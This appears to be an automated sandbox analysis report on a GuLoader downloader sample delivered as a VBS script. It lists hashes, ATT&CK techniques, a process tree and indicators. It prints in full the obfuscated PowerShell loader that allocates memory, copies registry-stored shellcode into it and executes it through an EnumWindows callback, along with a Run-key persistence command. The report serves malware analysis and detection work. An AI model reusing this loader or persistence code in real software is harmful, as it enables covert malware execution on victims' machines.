guloader | 724566e1fb2e9db8570519d4c90afce40f17f080d51468669856d37830074ba3

General

Target

JaffaCakes118_724566e1fb2e9db8570519d4c90afce40f17f080d51468669856d37830074ba3.vbs
Size

727KB
MD5

99a444a2e45d6007e37fb0c2c25e49c4
SHA1

7ab6b11b684243ae587b6eb037cabe98984792ff
SHA256

724566e1fb2e9db8570519d4c90afce40f17f080d51468669856d37830074ba3
SHA512

7398994f927e22cd1bf868436c4645f368cf3439fe00dd836c10d8860ae22c73aa16f4ddd9c6f37053c326d65734d9e6ad1afe73955cc727c7c982b31f6ae69e
SSDEEP

6144:7umfsxtdM+jbYG0XxnHVMYhRANfAD58OAFZ3/g5VCyh9IiwEw6IAl:uoQYhiNft+wErIe

Score

10^/10

guloader defense_evasion discovery downloader persistence

Malware Config

Signatures

Guloader family
guloader
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Checks QEMU agent file 2 TTPs 2 IoCs

Checks presence of QEMU agent, possibly to detect virtualization.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	powershell.exe
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	ieinstal.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Windows\CurrentVersion\Run\Bulningssaarer = "%Mija% -w 1 $Kvstendediplom=(Get-ItemProperty -Path 'HKCU:\\SOFTWARE\\AppDataLow\\').Medsammensvornest;%Mija% -encodedcommand($Kvstendediplom)"	ieinstal.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
5	drive.google.com
4	drive.google.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
2940	ieinstal.exe
2940	ieinstal.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2272	powershell.exe
2940	ieinstal.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2272 set thread context of 2940	2272	powershell.exe	32

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ieinstal.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2272	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2272	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2272	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2940	ieinstal.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2236 wrote to memory of 2272	2236	WScript.exe	28
PID 2236 wrote to memory of 2272	2236	WScript.exe	28
PID 2236 wrote to memory of 2272	2236	WScript.exe	28
PID 2236 wrote to memory of 2272	2236	WScript.exe	28
PID 2272 wrote to memory of 2044	2272	powershell.exe	30
PID 2272 wrote to memory of 2044	2272	powershell.exe	30
PID 2272 wrote to memory of 2044	2272	powershell.exe	30
PID 2272 wrote to memory of 2044	2272	powershell.exe	30
PID 2044 wrote to memory of 2916	2044	csc.exe	31
PID 2044 wrote to memory of 2916	2044	csc.exe	31
PID 2044 wrote to memory of 2916	2044	csc.exe	31
PID 2044 wrote to memory of 2916	2044	csc.exe	31
PID 2272 wrote to memory of 2940	2272	powershell.exe	32
PID 2272 wrote to memory of 2940	2272	powershell.exe	32
PID 2272 wrote to memory of 2940	2272	powershell.exe	32
PID 2272 wrote to memory of 2940	2272	powershell.exe	32
PID 2272 wrote to memory of 2940	2272	powershell.exe	32
PID 2272 wrote to memory of 2940	2272	powershell.exe	32
PID 2272 wrote to memory of 2940	2272	powershell.exe	32
PID 2272 wrote to memory of 2940	2272	powershell.exe	32

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_724566e1fb2e9db8570519d4c90afce40f17f080d51468669856d37830074ba3.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2236
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "# H y a e n o d o n t d e p u t e r e t h a m p e f r s   S u b s t i t u r m i s g r a d e   T m m e r f l a a d e r s s p a t t i n g u d s   A r i l e d l a d i f i e d t i l g a n g   G r u n d t o n e s m i t s u m a t a p r e c e n   o r g a n i s a t i o n e r n e s s   M e t h o l j u d e a n i n d o r d n i n g m o n o t y p   B e f o l k n i n g s s u n d h e d e n f o r u d b e   C a r a m e l i n p u t t o o m o n o p l o i   D r n i n g e r s a p s i d a l l   T a m p o n a d e n s t r i b   S o k k e f d d e r s u l a s t e l i g h e d s o v e r h o   B a r n a g t i g h e d e r n e c a g i e   L a n d s f o r e n i n g s n o    
 $ R u m f a r t s c e n t r e s v i r k 0   =   " N " + " t " + " A l l " + " o c a t e " + " V i r t " + " u a l " + " M e m " + " o r y "  
  
 A d d - T y p e   - T y p e D e f i n i t i o n   @ "  
 u s i n g   S y s t e m ;  
 u s i n g   S y s t e m . R u n t i m e . I n t e r o p S e r v i c e s ;  
 p u b l i c   s t a t i c   c l a s s   i v y w o o d r e t o r t o v n e n c h e e c h a f i l m 1  
 {  
 [ D l l I m p o r t ( " u s e r 3 2 " ) ] p u b l i c   s t a t i c   e x t e r n   i n t   G e t K e y b o a r d S t a t e ( i n t   v a r 1 ) ;  
 [ D l l I m p o r t ( " k e r n e l 3 2 . d l l " ) ] p u b l i c   s t a t i c   e x t e r n   v o i d   R t l M o v e M e m o r y ( I n t P t r   S a m l e v e r s k e n s k r 1 , r e f   I n t 3 2   S a m l e v e r s k e n s k r 2 , i n t   S a m l e v e r s k e n s k r 3 ) ;  
  
 [ D l l I m p o r t ( " w i n m m . d l l " ) ] p u b l i c   s t a t i c   e x t e r n   i n t   t i m e B e g i n P e r i o d ( i n t   v a r 1 ) ;  
 [ D l l I m p o r t ( " n t d l l . d l l " ,   E n t r y P o i n t = " $ R u m f a r t s c e n t r e s v i r k 0 " ) ] p u b l i c   s t a t i c   e x t e r n   i n t   C o r e 1 ( i n t   i v y w o o d r e t o r t o v n e n c h e e c h a f i l m 6 , r e f   I n t 3 2   F o r f i l m e n e s r e k n o c k r e p r o d u c , i n t   S a m l e v e r s k e n s k r , r e f   I n t 3 2   i v y w o o d r e t o r t o v n e n c h e e c h a f i l m , i n t   R u m f a r t s c e n t r e s v i r k , i n t   i v y w o o d r e t o r t o v n e n c h e e c h a f i l m 7 ) ;  
  
 [ D l l I m p o r t ( " g d i 3 2 " ) ] p u b l i c   s t a t i c   e x t e r n   i n t   G e t I C M P r o f i l e ( i n t   v a r 1 , i n t   v a r 2 , i n t   v a r 3 ) ;  
 [ D l l I m p o r t ( " k e r n e l 3 2 " ) ] p u b l i c   s t a t i c   e x t e r n   i n t   G e t S t r i n g T y p e E x ( i n t   v a r 1 , i n t   v a r 2 , i n t   v a r 3 , i n t   v a r 4 , i n t   v a r 5 ) ;  
  
 [ D l l I m p o r t ( " u s e r 3 2 " ) ] p u b l i c   s t a t i c   e x t e r n   i n t   I s R e c t E m p t y ( i n t   v a r 1 ) ;  
  
  
  
 [ D l l I m p o r t ( " u s e r 3 2 . d l l " ) ] p u b l i c   s t a t i c   e x t e r n   I n t P t r   E n u m W i n d o w s ( u i n t   S a m l e v e r s k e n s k r 5 , i n t   S a m l e v e r s k e n s k r 6 ) ;  
  
  
 }  
 " @  
 # D e m u r s t e k n o l o g i s k e s n d e   M o t h e r l e s s h o t e l v r e l s e   Y a l l a e r u d e l e l i g t a   K v a r t e r r a p p o r t e r s s v e l n i n g   F i b e r g l a s s e t s f r i s k e r   T r s n i t s u n a s s o c i a t i v e c h o   P o s t p a t e l l a r t e   R a g t o p s k r m h a a n d t e r i n g e r n e t r l   S e m i p r o g r e s s i v e l y u   m a n d e t i m e r n e s l e z g y p s u   U n d e r m e n n e s k e b r a c t l e t t a p s t e r l y   C h a u c h a t r e v e r e n   L s e h a s t i g h e d e n s d v r g b i r k e s a b a n   S t e n r k e n e n a c c e s s i o n s e j a k u l a t i o   M i n n e s o t a b a s i l i   H u d f l e t n i n g e r n e s l i g h t n i n g p   N a t a l i t y r a t i o n a l i   B j r n e l a b m a s c u l i n e s n o   A f v i s e r n e s u n i n t r o d u c t o r y f o r   A r i a d n e t r a a d e s b l a n c h e r i n g e n   B r i b e r s t a n d a r d i s e   P r o p i t i o u s l y i n e x p r e s s c e n t   P o l l i n i f e r o u s t o   K a p e l p o s t s c u t e l l a i r r e s p o n s i b l e   S u p e r u r g e n t l y r e s u n d f e r i e g o   H e n n i n g s b e g l o b   T a r r e r a n g r e b s p u n k t s e k s   B u c h i t e p i l e r g r u t c h p l u m c o t s p y   q u a s s e x t r a t e l l u r i a n e l e c t r o d i a l   S m u g l e r e n s m a t r i p o t   u n s a w n p i e t e r s a n g i r i n h a b i t a t i o n   R i d s e n e h u n d e s v   S t r a f a f s o n e r s u i g e n n e m s k u e l i g      
 $ i v y w o o d r e t o r t o v n e n c h e e c h a f i l m 3 = 0 ;  
 $ i v y w o o d r e t o r t o v n e n c h e e c h a f i l m 9 = 1 0 4 8 5 7 6 ;  
 $ i v y w o o d r e t o r t o v n e n c h e e c h a f i l m 8 = [ i v y w o o d r e t o r t o v n e n c h e e c h a f i l m 1 ] : : C o r e 1 ( - 1 , [ r e f ] $ i v y w o o d r e t o r t o v n e n c h e e c h a f i l m 3 , 0 , [ r e f ] $ i v y w o o d r e t o r t o v n e n c h e e c h a f i l m 9 , 1 2 2 8 8 , 6 4 )  
 $ b r k d e l e n e s e f t e r g i v e t n = ( G e t - I t e m P r o p e r t y   - P a t h   " H K C U : \ S o f t w a r e \ T a l t e s a f t e n b n n e n s p r m i e l a a n s c u " ) . U n s a l l y i n g r e b e l l i o n n o n e  
  
 $ U d t y d e t r o t h k o m e l o d   =   [ S y s t e m . B y t e [ ] ] : : C r e a t e I n s t a n c e ( [ S y s t e m . B y t e ] , $ b r k d e l e n e s e f t e r g i v e t n . L e n g t h   /   2 )  
  
  
  
 F o r ( $ i = 0 ;   $ i   - l t   $ b r k d e l e n e s e f t e r g i v e t n . L e n g t h ;   $ i + = 2 )  
 	 {  
                 $ U d t y d e t r o t h k o m e l o d [ $ i / 2 ]   =   [ c o n v e r t ] : : T o B y t e ( $ b r k d e l e n e s e f t e r g i v e t n . S u b s t r i n g ( $ i ,   2 ) ,   1 6 )  
         }  
  
  
 f o r ( $ K e g l e f l a d e r n e e t h n o g r a p h = 0 ;   $ K e g l e f l a d e r n e e t h n o g r a p h   - l t   $ U d t y d e t r o t h k o m e l o d . c o u n t   ;   $ K e g l e f l a d e r n e e t h n o g r a p h + + )  
 {  
 	  
 [ i v y w o o d r e t o r t o v n e n c h e e c h a f i l m 1 ] : : R t l M o v e M e m o r y ( $ i v y w o o d r e t o r t o v n e n c h e e c h a f i l m 3 + $ K e g l e f l a d e r n e e t h n o g r a p h , [ r e f ] $ U d t y d e t r o t h k o m e l o d [ $ K e g l e f l a d e r n e e t h n o g r a p h ] , 1 )  
  
 }  
 [ i v y w o o d r e t o r t o v n e n c h e e c h a f i l m 1 ] : : E n u m W i n d o w s ( $ i v y w o o d r e t o r t o v n e n c h e e c h a f i l m 3 ,   0 )  
  
 "
  2⤵
  - Checks QEMU agent file
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2272
- - C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\-piv1c4-.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2044
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8DC0.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC8DBF.tmp"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2916
- - C:\Program Files (x86)\internet explorer\ieinstal.exe
    "C:\Program Files (x86)\internet explorer\ieinstal.exe"
    3⤵
    - Checks QEMU agent file
    - Adds Run key to start application
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:2940

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Obfuscated Files or Information

1

T1027

Command Obfuscation

1

T1027.010

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\-piv1c4-.dll

Filesize
4KB

MD5
093f30cf544785834cc09a55743038c6

SHA1
af69656ad1b049a2a13cfe8e23874e9cd2325c9b

SHA256
53c7931ad555b2dc8da3e44a15a0964c19a996b7443471863ec57f333eb06580

SHA512
fe1d819e26c3a8baaa83983c30b477dec2e3c8b47c1cabe5032b3b53b3b1d7532af51fe4785cc2c684f106dfdc5da3b5598f8b8b7c63a1923520511541765e6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\-piv1c4-.pdb

Filesize
7KB

MD5
dd5e50179ff04c34430f4a8440a6de61

SHA1
be6f3cb2ed8fb1585e6abfe92e758fccc7963933

SHA256
a2c2dd1e98ab99d9efbbaf398512306eb292a226ae1d4a104c79037c4aa18ec7

SHA512
7a1b6d9b6ecb5640921df19707bf006a268c9df8c1db55240b6336dba31184091218f970495b652e99e9b192dfa7b2b0b9c968e2ad0bd0ef2df4f7f3825bcfca

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES8DC0.tmp

Filesize
1KB

MD5
531a1b1cdc1c1e148d9810a18acf6e49

SHA1
d1c524c63fcb01926defbae55f3b1b46f80f376e

SHA256
aa30f7ed3714609752f136c3da9e7d85f30a77ee1beb6aeff8fb5cab11d04c86

SHA512
95c29d0c0e10017a26eee689cc18d38b98ba8876abc0ff3a5ef02df78110e31b3f90a2a23a67520f26dd6d8f671e3528db4143da77109ebd1692373ab104be22

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\-piv1c4-.0.cs

Filesize
1KB

MD5
fd01bdbcce0a28e44e23fd48d27fecb3

SHA1
e601c783d5852bec3efdb1c2bac13b5e0c65f2a2

SHA256
c0fef30f1c5beaa723a8f20f8f728ae7f5241cffed7ba54e792b32500ae7d20d

SHA512
0a2978a4a22b75f871b70f7e86cfc8d92b9b314f86396ceb995f254d16ad85303fa0a6236a2e2308b23fbe16edbfbe8c9ac5b63d2daeb171d1126e97a6b21a69

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\-piv1c4-.cmdline

Filesize
309B

MD5
d311d3395048f6a99df2aababe71409b

SHA1
030c8b0cd433212fbc0a5ba135528da4e7c23930

SHA256
698545b2af115632dc859a7418eeaab9047a5f49e0ec4c0fd4a8bc7cf919e6bc

SHA512
aecdf5d3e167940d6bd0b1ab17e7aa78581988f56a1ddbd5a5f6178d12b65793e0a6f38a71118ce7a4525a18cb2d845751bd928948b57a4e0eac7d670abd1bfe

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSC8DBF.tmp

Filesize
652B

MD5
abf2f0e0e03ed84fe3dced9afeca220e

SHA1
7b27beec5972f903e774d3fb3f55599c8f900167

SHA256
c8dadf21dd3190b7ef56efc219a132c4f49fd5b8f14025a76b32271312beebb3

SHA512
29ab220f59d1e3f27ce6836be679d20dbcc8a8ebeb22103e9265b5c2cb96497d55ead052f02fea2dab85ae6f2552a8dd13fcf1631b1d0c5015d368177d87fa1e

Download Submit
memory/2272-4-0x0000000073AE0000-0x000000007408B000-memory.dmp

Filesize
5.7MB

Download
memory/2272-2-0x0000000073AE1000-0x0000000073AE2000-memory.dmp

Filesize
4KB

Download
memory/2272-5-0x0000000073AE0000-0x000000007408B000-memory.dmp

Filesize
5.7MB

Download
memory/2272-6-0x0000000073AE0000-0x000000007408B000-memory.dmp

Filesize
5.7MB

Download
memory/2272-3-0x0000000073AE0000-0x000000007408B000-memory.dmp

Filesize
5.7MB

Download
memory/2272-22-0x0000000073AE0000-0x000000007408B000-memory.dmp

Filesize
5.7MB

Download
memory/2940-23-0x00000000000D0000-0x00000000001D0000-memory.dmp

Filesize
1024KB

Download
memory/2940-40-0x0000000000400000-0x0000000000615000-memory.dmp

Filesize
2.1MB

Download
memory/2940-44-0x00000000000D0000-0x00000000001D0000-memory.dmp

Filesize
1024KB

Download
memory/2940-45-0x00000000000D0000-0x00000000001D0000-memory.dmp

Filesize
1024KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads